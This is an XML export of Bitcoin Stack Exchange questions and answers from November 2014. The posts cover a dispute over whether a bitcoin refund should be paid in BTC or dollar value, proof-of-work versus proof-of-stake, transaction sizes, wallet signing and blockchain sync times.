  <row Id="32484" PostTypeId="2" ParentId="32300" CreationDate="2014-11-13T21:05:40.863" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;Have an up-to-date blockchain in &lt;code&gt;~/.bitcoin&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Download and compile &lt;a href=&quot;https://github.com/znort987/blockparser&quot; rel=&quot;nofollow&quot;&gt;blockparser&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Run &lt;code&gt;./parser allBalances &amp;gt;allBalances.txt&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12196" LastActivityDate="2014-11-13T21:05:40.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32485" PostTypeId="1" AcceptedAnswerId="32486" CreationDate="2014-11-13T22:09:24.743" Score="6" ViewCount="492" Body="&lt;p&gt;I have read about cryptocurrencies and am very excited by many. I have read that one of the worries and constant debates is Proof of Work vs Proof of State with respect to securing the validity of the blockchain, especially within Ethereum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wondered why we would not just combine the two. For example, the first block validated by PoW, second block by PoS, third by PoW, etc. As each block depends on the previous a 51% attack would be a lot more difficult and power consumption significantly reduced. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an obvious problem with doing that?&lt;/p&gt;&#xA;" OwnerUserId="21070" LastEditorUserId="5406" LastEditDate="2014-11-13T22:13:23.220" LastActivityDate="2020-05-06T11:53:39.303" Title="Is it possible to combine PoW with PoS by taking turns?" Tags="|proof-of-work|proof-of-stake|ethereum|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32486" PostTypeId="2" ParentId="32485" CreationDate="2014-11-13T22:39:10.033" Score="2" Body="&lt;p&gt;Yes. The problem with this approach is that all PoW nodes will be idle half of the time, and all PoS nodes will be idle half of the time. This isn't a huge problem. You could mine a different coin during the time that your PoW miner was idle; PoS nodes being idle half the time is not a big issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your proposal does have a security advantage that I don't think you've pointed out. Specifically, in order to conduct a 51% attack, you need to be able to produce both PoW and PoS. You can have 51% of each, or you can compensate for a smaller amount of PoW or PoS by having more of the other. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a 51% attack, ordinary PoW requires:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;W = Your PoW capacity, where 0.5 means you control half of the hashpower&lt;br&gt;&#xA;  W &gt; 0.5&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For a 51% attack, ordinary PoS requires:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;S = Your PoS capacity, where 0.5 means you control half of the coins actively participating in PoS&lt;br&gt;&#xA;  S &gt; 0.5&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For a 51% attack on this scheme, you'd need:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;1/((1/S + 1/W)/2) &gt; 0.5&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2014-11-13T22:39:10.033" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32488" PostTypeId="2" ParentId="32462" CreationDate="2014-11-13T23:04:30.827" Score="3" Body="&lt;p&gt;An opensource book about to be released and I am finding very enjoyable is&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mastering bitcoin - Andreas M. Antonopoulos&lt;/p&gt;&#xA;&#xA;&lt;p&gt;available at &lt;a href=&quot;https://github.com/aantonop/bitcoinbook&quot; rel=&quot;nofollow&quot;&gt;https://github.com/aantonop/bitcoinbook&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First two chapters are more introductory, later on he gets into a lot more detail. It will be published in December if you prefer paper.&lt;/p&gt;&#xA;" OwnerUserId="21070" LastActivityDate="2014-11-13T23:04:30.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32489" PostTypeId="1" AcceptedAnswerId="32490" CreationDate="2014-11-14T00:44:47.463" Score="36" ViewCount="12804" Body="&lt;p&gt;This is, I suppose, a legal question so I should point out that I'm most interested in US and European law. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made a payment to a company for a product more than a year ago in bitcoin. The amount that I paid then was equivalent to $75. Now the company has failed to provide the product and they and I both agree that I'm owed a refund. However, we disagree on the means. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The company wants to refund me - in bitcoin if I wish it - to the value of $75 of today's money. It seems to me though that I should be refunded what I paid: i.e. the same BTC value that I paid. The value of bitcoin has increased substantially since I made my original payment, meaning that the BTC amount I paid then is now worth 5-6 times more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I happen to know (through their blog posts) that the company in question does keep stocks of bitcoin rather than converting them to a fiat currency, so they &lt;em&gt;have&lt;/em&gt; benefited from this. That said, I don't think it should matter either way. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;My logic&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can consider bitcoin in one of two ways: a) a currency or b) not a currency. The conclusion is the same either way. Let's explore both:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;a) BTC is a currency&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;If BTC is a currency then this is an easy question. I should be refunded what I paid, in the currency in which I paid it. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;b) BTC is not a currency&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;If a bitcoin is not currency then is it unarguably an asset. Surely in this case I have given a valuable asset to the company as my end of an implied contract for them to provide the goods. Given their failure to provide the goods, they must return the asset: not a fraction of it. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Fairness&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I think that, regardless of the legal side, it's fair for me to receive a full refund. Given that bitcoin has increased in value, one of us has to profit from this. It seems very unfair to me that the company should profit from their failure, whilst at the same time preventing me from making that profit myself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I appreciate that I'm not exactly neutral in this, so I'd like to know what others think. Am I being reasonable? If I am, do I have a legal leg to stand on?&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Edit:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Having read through the responses, they seem to have one or both of two themes.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&quot;The price wasn't in BTC, it was in dollars with the option to pay this via bitcoin.&quot;&lt;/li&gt;&#xA;&lt;li&gt;&quot;Being able to claim a refund of the original BTC amount would open the door to risk-free speculation.&quot;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For the first, this is open to interpretation. If I was being pernickety, I'd probably say this was down to the wording of the sale. However I agree that - practically - it's pretty obvious that $75 was the price and BTC was a payment method, along with Visa, Paypal etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The concept of &quot;legal tender&quot; is one that was raised too. For something to be &quot;legal tender'' means that one may not refuse an offer to pay a debt with that currency. It doesn't talk about refunds though: if I'm owed €1000 by someone in the US then I must accept the dollar equivalent even if I'd rather Euros. This is still €1000 though, not &quot;whatever €1000 was worth when I entered the agreement.'' &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the second, that is indisputable and probably represents the biggest flaw in my position. I would point out that the refund is not my doing: I would rather have received my order but the company cancelled it. However, that probably makes no difference ultimately. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for all the opinions. It looks like the overwhelming consensus is that I &lt;strong&gt;am&lt;/strong&gt; being unreasonable, so I'll give up on my demands and accept the refund. &lt;/p&gt;&#xA;" OwnerUserId="8788" LastEditorUserId="51948" LastEditDate="2017-12-24T03:24:54.233" LastActivityDate="2018-01-29T12:02:15.087" Title="I paid in bitcoin, now I'm owed a refund. Can I demand it in bitcoin too?" Tags="|currencies|exchange-rate|legal|" AnswerCount="18" CommentCount="17" ContentLicense="CC BY-SA 3.0" />
  <row Id="32490" PostTypeId="2" ParentId="32489" CreationDate="2014-11-14T02:18:36.467" Score="20" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I made a payment to a company for a product more than a year ago in&#xA;  bitcoin. The amount that I paid then was equivalent to $75. Now the&#xA;  company has failed to provide the product and they and I both agree&#xA;  that I'm owed a refund. However, we disagree on the means.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The company wants to refund me - in bitcoin if I wish it - to the&#xA;  value of $75 of today's money. It seems to me though that I should be&#xA;  refunded what I paid: i.e. the same BTC value that I paid. The value&#xA;  of bitcoin has increased substantially since I made my original&#xA;  payment, meaning that the BTC amount I paid then is now worth 5-6&#xA;  times more.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is at complete odds with what you've just said; you say you paid $75 in Bitcoin. But you want $375-$450 refunded to you because the exchange rate is in your favour. Would you feel the same way if exchange rate was not in your favour? Undoubtedly, no.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I appreciate that I'm not exactly neutral in this, so I'd like to know&#xA;  what others think. Am I being reasonable? If I am, do I have a legal&#xA;  leg to stand on? ... I think that, regardless of the legal side, it's&#xA;  fair for me to receive a full refund.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I believe so too. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Given that bitcoin has increased in value, one of us has to profit&#xA;  from this. It seems very unfair to me that the company should profit&#xA;  from their failure, whilst at the same time preventing me from making&#xA;  that profit myself.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Forgive the acerbic response but I'm somewhat taken-aback that a sizable number feels Bitcoin is a currency when it suits, but an investment at other times, and at no time does the rationale stay consistent unless &quot;someone is making a profit&quot;. That's what businesses do. But let's take &lt;a href=&quot;http://www.coindesk.com/cointerra-mediation-class-action-lawsuit/&quot;&gt;Cointerra for example&lt;/a&gt;; they're bankrupt because they took orders when BTC was $750 and now repaying at $350 has destroyed them. So not all businesses are rolling the dice and winning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You paid $75, you're owed $75 in refund.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm no legal expert, and no one here likely is, so it's certainly an opinion-based question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I'm not unsympathetic to customers being given the raw end of the deal in Bitcoin refunds. For example, BFL acted horrendously. I certainly think deliberate exchange tricks in the company's favor are wrong; though it all comes down to the terms agreed, and more opaquely, opinion.&lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="9382" LastEditDate="2014-11-14T12:46:25.037" LastActivityDate="2014-11-14T12:46:25.037" CommentCount="15" ContentLicense="CC BY-SA 3.0" />
  <row Id="32491" PostTypeId="2" ParentId="32489" CreationDate="2014-11-14T03:43:38.163" Score="13" Body="&lt;p&gt;A refund should be issued using the same payment method that was used at the time of purchase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This also serves an anti-fraud measure for the cases where a purchase was made on a stolen medium (eg a credit card) but the scammers request a refund in a different medium (eg cash) as soon as the payment goes through because all they want to do is take the money and run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The actual value of a late refund should be defined by the merchant's base currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For brick and mortar stores dealing with fiat money this is easily defined by their geographical location (unless there is more than one valid currencies at the same physical location, as is the case for example with Malta). The same stands for online stores with a physical location. If everything happens online then a fair approach would be to issue a refund at the exact amount of the exact payment medium that was used at the time of the purchase. The latter can be problematic when dealing with currencies that have a volatile behavior against major currencies, for as long as it lasts; the antidote is diversification.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastEditorDisplayName="user11221" LastEditDate="2014-11-14T04:41:46.747" LastActivityDate="2014-11-14T04:41:46.747" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32492" PostTypeId="1" AcceptedAnswerId="32593" CreationDate="2014-11-14T03:45:48.987" Score="2" ViewCount="476" Body="&lt;p&gt;I'm interested to know why Ripple's value and market cap are increasing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a 'utility system' that seems to counter price appreciation models/expectations (at least in my mind), yet XRP is appreciating...? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm confused by how this can happen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disclosure. I'm a litecoin guy (possibly part of the problem), and I don't mind the recent XRP events (only curious about what I am seeing here). ;)&lt;/p&gt;&#xA;" OwnerUserId="8999" LastActivityDate="2014-11-18T09:28:23.307" Title="Ripple XRP value and market capitalization" Tags="|ripple|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32493" PostTypeId="2" ParentId="23785" CreationDate="2014-11-14T04:26:28.457" Score="2" Body="&lt;p&gt;A single payment is better for both purposes.  The transaction fee is relative to the size of the transaction in bytes, so a 1 KB transaction which pays a $0.10 fee is equal to a 10 KB transaction that pays a $1.00 fee, all other things being equal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A typical transaction that pays a single other person will have a 4-byte version, a 36-byte outpoint (previous output identifier), a 73-byte signature script, a 4-byte sequence number, two outputs of about 33 bytes each---one for the payment and one for the change (8-byte value, 25-byte pubkey script for P2PKH)---and a 4-byte locktime, plus a few 1-byte compactSize uints for the variable-length fields.  That's about 187 bytes total for one transaction and 1,870 bytes for ten transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, a transaction with 10 external payments will have the same version, same outpoint, same signature, same-byte-size change payment, and same locktime (about 154 bytes).  It'll also have 10 payments with 33-byte outputs (about 330 bytes).  That's about 484 bytes total for all ten payments, about 25% as many bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you call sub-payments (outputs) can't fail individually.  When the transaction is accepted by a node, it checks the outputs to make sure they pass that node's validation rules.  After that point, the only thing which can make them invalid is if you create a double-spend---another transaction which spends the same input as used in the first transaction.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2014-11-14T04:26:28.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32495" PostTypeId="1" CreationDate="2014-11-14T05:33:40.640" Score="2" ViewCount="4044" Body="&lt;p&gt;I receive rent income in the US. I'm using coinbase.com to convert from USD into BTC, with no problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will be traveling outside the US, so I would like to convert back from BTC into a local currency. (I'm going to Ecuador; there are several exchanges but they seem set up for people to buy BTC.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want is to convert from BTC into the local currency. What is the most efficient way to do this? (I may need to do this several times, which is why I'm interested in doing this efficiently.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should I set it up?&lt;/p&gt;&#xA;" OwnerUserId="21078" LastEditorUserId="2306" LastEditDate="2014-11-14T05:38:15.410" LastActivityDate="2018-12-22T07:26:36.087" Title="Convert back from BTC into a local currency, efficiently" Tags="|exchanges|sell-bitcoins|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32496" PostTypeId="2" ParentId="30066" CreationDate="2014-11-14T06:14:42.320" Score="3" Body="&lt;p&gt;Bitcoin Core includes &lt;a href=&quot;https://github.com/bitcoin/bitcoin/search?utf8=%E2%9C%93&amp;amp;q=undo&quot; rel=&quot;nofollow&quot;&gt;code&lt;/a&gt; which rolls back a block from the chain when it is orphaned.  All transactions from that block are checked against the new best block chain to see if they've already been added to a block or if they spend the same input as a transaction already added to a block; if they aren't---meaning they're valid transactions on the new best block chain---they're re-added to the memory pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The re-added transactions will not be automatically rebroadcast like a newly-received transaction, but if a remote peer sends the &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#mempool&quot; rel=&quot;nofollow&quot;&gt;mempool message&lt;/a&gt; to the local peer, the local peer will tell the remote peer about the transaction (using a standard inventory).&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2014-11-14T06:14:42.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32497" PostTypeId="2" ParentId="32489" CreationDate="2014-11-14T08:38:08.823" Score="-1" Body="&lt;p&gt;I am kind of surprised at this debate. I just checked the price of bitcoin vs the dollar a year ago, and found that was hovering around 410:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xa83l.png&quot; alt=&quot;BTCUSD15NOV13&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, the means of refund are of no importance since the rate today is almost identical to the rate a year ago. Noone stands to &quot;win&quot; from anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh and ten days later, it skyrocketed to 1000$. Had you made the purchase 10 days later, I guess you'd be fighting for USD refund instead right? In order to be the one who &quot;wins from their failure&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sneaky.&lt;/p&gt;&#xA;" OwnerUserId="11555" LastActivityDate="2014-11-14T08:38:08.823" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32500" PostTypeId="2" ParentId="32489" CreationDate="2014-11-14T11:06:00.463" Score="4" Body="&lt;p&gt;It all depends on the what was the base-currency of the item when it was sold.  That is what should be refunded.&#xA;If it is not clear what the base currency was, then the one approach would be to simply reverse the steps of the exact same transaction.&lt;/p&gt;&#xA;" OwnerUserId="9929" LastActivityDate="2014-11-14T11:06:00.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32501" PostTypeId="1" CreationDate="2014-11-14T11:14:58.403" Score="-1" ViewCount="108" Body="&lt;p&gt;I want to make maze game. I have the idea to 'leave' bitcoins in some rooms and players can pickup it like a penny from the street. And question is how to do it?&lt;/p&gt;&#xA;" OwnerUserId="21026" LastEditorUserId="2306" LastEditDate="2014-11-14T15:41:01.927" LastActivityDate="2014-11-26T00:55:15.727" Title="Give bitcoin to user in web game" Tags="|sell-bitcoins|trade|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32502" PostTypeId="2" ParentId="32489" CreationDate="2014-11-14T11:20:27.173" Score="4" Body="&lt;p&gt;It doesn't matter what the currency you paid in is worth now compared to other currencies, I guess that's the problem of a volatile currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: If from here in the UK I bought something in USD for $30 and in 2 weeks I have that item refunded, I would expect to get $30 USD back, the GBP amount of money that actually leaves and arrives in my GBP bank account may well be different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it's also not unfair, the person refunding you is not giving you back any more than you gave them, it's just what they are giving you back is now worth more.&lt;/p&gt;&#xA;" OwnerUserId="21081" LastActivityDate="2014-11-14T11:20:27.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32503" PostTypeId="2" ParentId="32489" CreationDate="2014-11-14T12:30:06.783" Score="7" Body="&lt;p&gt;Was there a sales contract?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/How_to_accept_Bitcoin,_for_small_businesses#Contract&quot;&gt;https://en.bitcoin.it/wiki/How_to_accept_Bitcoin,_for_small_businesses#Contract&lt;/a&gt; points out the value of specifying the refund policy in such a contract.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Personally I'd think this was a USD purchase, quoted in USD, to be refunded in USD, irrespective of how the value was transferred. But IANAL, and I'm not even American.)&lt;/p&gt;&#xA;" OwnerUserId="21085" LastActivityDate="2014-11-14T12:30:06.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32504" PostTypeId="2" ParentId="32489" CreationDate="2014-11-14T12:55:57.157" Score="10" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Given that bitcoin has increased in value, one of us has to profit from this.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If you hold the bitcoins while the value goes up, you are the one entitled to profit from it, because you also risk holding while the value drops, and then you're the one stuck with the loss.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine the &lt;a href=&quot;http://www.coindesk.com/bitcoin-pizza-day-celebrating-pizza-bought-10000-btc/&quot;&gt;10,000 BTC pizza&lt;/a&gt; transaction were refunded now: would the purchaser be entitled to 10,000 BTC, or only the value of two pizzas today? If he were really entitled to the 10,000 BTC, that would also open up the door for fraud in the form of &quot;buy something with BTC, if the exchange rate goes up, return it for a refund in BTC&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should be entitled to a refund of the same real purchasing power of what you paid them. With USD, this is usually negligible (actually ~2%/year because of inflation; I could see you arguing that you should get a $76.50 value refund to account for the dropping value of fiat), so it makes sense to refund the exact amount you paid. With Bitcoin, the easiest way to track this over any non-trivial period of time is by referring back to its fiat value.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastActivityDate="2014-11-14T12:55:57.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32505" PostTypeId="2" ParentId="32489" CreationDate="2014-11-14T13:49:30.710" Score="26" Body="&lt;p&gt;I am not a lawyer, but...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Coinage Act of 1965, Section 31 U.S.C. 5103, entitled &quot;Legal tender,&quot; states: &quot;United States coins and currency... are legal tender for all debts, public charges, taxes, and dues.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the USA all monetary debts can be paid in US dollars.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, while bitcoin is legally a payment method in the US, it does not have legal status as a currency. In the eyes of the law it's almost certain that the company will only be required to send you the original USD price of the item that you paid, regardless of the method of transfer. Legally speaking, you paid dollars through bitcoin, and the firm will return your USD, using the bitcoin payment method if you so wish. They also won't have to refund any expenses you incurred to get the money to them, like driving money, bid/ask spread you paid to buy BTC, PayPal fees, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Btw, the original price was listed in US dollars, right? Not BTC. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd love to hear a small claims judge berate you for trying to, how can we say this, &#xA;enjoy risk-free speculative gains through the abuse of company refund policies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Indeed if this unethical method worked, I could always use BTC to buy something with a money back guarantee, and if BTC went up a lot, just ask for my BTC back and cash in! If BTC didn't rise, I'd just keep the goods I'd originally bought, or maybe ask for my refund in US dollars, Swiss francs, gold bullion, IMF special drawing rights, or maybe even hugs...&lt;/p&gt;&#xA;" OwnerUserId="21087" LastEditorUserId="21087" LastEditDate="2014-11-14T13:56:37.283" LastActivityDate="2014-11-14T13:56:37.283" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32506" PostTypeId="1" AcceptedAnswerId="32507" CreationDate="2014-11-14T13:57:39.023" Score="3" ViewCount="435" Body="&lt;p&gt;Blockchain.info is a hybrid bitcoin wallet with client-side javascript encryption. I understand that the wallet.aes.json where the private keys are stored is encrypted (client-side). But how can transactions be made without the server-side knowing the UNencrypted private key?&lt;/p&gt;&#xA;" OwnerUserId="21090" LastEditorUserId="2306" LastEditDate="2014-11-14T15:40:11.120" LastActivityDate="2021-08-12T11:09:18.670" Title="How can Bitcoins be sent without Blockchain.info knowing your private key?" Tags="|wallet|blockchain.info|wallet-security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32507" PostTypeId="2" ParentId="32506" CreationDate="2014-11-14T14:08:36.947" Score="2" Body="&lt;p&gt;The private key is needed only to sign the transaction, to authorize it to spend your coins. This is done on the client side. The signed transaction is sent back to the server, which will take care of transmitting it on the Bitcoin network. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A defining feature of public-key cryptography is that it is not feasible to deduce your private key from the signature.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-11-14T14:08:36.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32508" PostTypeId="2" ParentId="30904" CreationDate="2014-11-14T14:31:19.000" Score="1" Body="&lt;p&gt;It's outdated but as @GeorgeKimionis mentioned in a comment, Multibit published some data on their blog:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://multibit.org/blog/2014/03/10/multibit-downloads-reach-1.5m.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://multibit.org/blog/2014/03/10/multibit-downloads-reach-1.5m.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And in case they take down their blog, here is the data:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fMuPu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Month   Downloads&#xA;Apr to Oct 2011 tiny&#xA;Nov 2011    200&#xA;Dec 2011    500&#xA;Jan 2012    600&#xA;Feb 2012    700&#xA;Mar 2012    800&#xA;Apr 2012    1,000&#xA;May 2012    1,200&#xA;Jun 2012    1,500&#xA;Jul 2012    2,200&#xA;Aug 2012    3,000&#xA;Sep 2012    3,300&#xA;Oct 2012    3,600&#xA;Nov 2012    3,900&#xA;Dec 2012    4,200&#xA;Jan 2013    4,600&#xA;Feb 2013    8,800&#xA;Mar 2013    26,000&#xA;Apr 2013    73,200&#xA;May 2013    50,600&#xA;Jun 2013    34,100&#xA;Jul 2013    75,000&#xA;Aug 2013    103,500&#xA;Sep 2013    71,400&#xA;Oct 2013    97,200&#xA;Nov 2013    330,000&#xA;Dec 2013    298,600&#xA;Jan 2014    131,900&#xA;Feb 2014    132,400&#xA;(incomplete) Mar 2014   53,200&#xA;Total   1,517,200&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6375" LastActivityDate="2014-11-14T14:31:19.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32509" PostTypeId="1" AcceptedAnswerId="32511" CreationDate="2014-11-14T15:22:05.697" Score="2" ViewCount="7578" Body="&lt;p&gt;I just downloaded bootstrap (~21GB) and started bitcoin base. It shows me that time to sync will be 4 year and 17 weeks? Is it going to change, or do i have to wait that much?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My internet downloading speed is only about 220 kb/s.&lt;/p&gt;&#xA;" OwnerUserId="21092" LastEditorUserId="2306" LastEditDate="2014-11-14T15:37:22.180" LastActivityDate="2014-11-17T10:08:19.163" Title="Do i need ~4 years to sync?" Tags="|bitcoin-core|synchronization|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32511" PostTypeId="2" ParentId="32509" CreationDate="2014-11-14T15:35:46.683" Score="2" Body="&lt;p&gt;The synchronization process has two parts: Downloading the data and verifying it's validity. You already took care of the downloading part by acquiring the boostrap file. Now your Bitcoin Core is building the transaction database by verifying the network's whole transaction history.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The value you are asking about doesn't give you a time estimate, but shows you how much of the data in the blockchain still has to be verified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are just at the very beginning, so your client still has to verify the transactions of 4 years and 17 weeks. Since you have downloaded all the data already (it's in the bootstrap file), your downloading speed doesn't matter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on the speed of your computer, the verification process can take a few hours to a few days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want to run a full node and don't want to wait that long, you might want to look into thin clients, such as MultiBit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see: &#xA;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/4461/5406&quot;&gt;Why is downloading blocks taking longer and longer?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2014-11-14T15:35:46.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32512" PostTypeId="2" ParentId="32489" CreationDate="2014-11-14T16:10:28.937" Score="2" Body="&lt;p&gt;The answer would depend on where the transaction took place.  If it was in person in the US (people can use BitCoin to buy in some stores now), the business is legally able to pay in US currency, $75.  The note on money &quot;This note is legal tender for all debts public and private&quot; is legal language stating that you &lt;em&gt;must&lt;/em&gt; accept it within the US.  If they pay in anything else, that's fine, but they have to agree with you on what the value of another currency is on that day.  If it was an online transaction in another country, say, the UK, then the contract law of that country would apply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question of whether BitCoin is a currency or an asset really is moot because for one, debts are based on a currency neutral value unless specified otherwise in writing, and for another, US currency is not an &quot;official&quot; currency outside the US either (although, exactly like BitCoin, it is accepted as having value abroad), it all depends on what country you're in.  The whole point of BitCoin is that it &lt;em&gt;is&lt;/em&gt; a currency that is not tied to a country.  If you're paying in BitCoin, you're accepting that it is a currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Long story short, if it was a US transaction, they can pay you $75 in dollars if they really want to, so I wouldn't push anything else.&lt;/p&gt;&#xA;" OwnerUserId="21094" LastActivityDate="2014-11-14T16:10:28.937" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
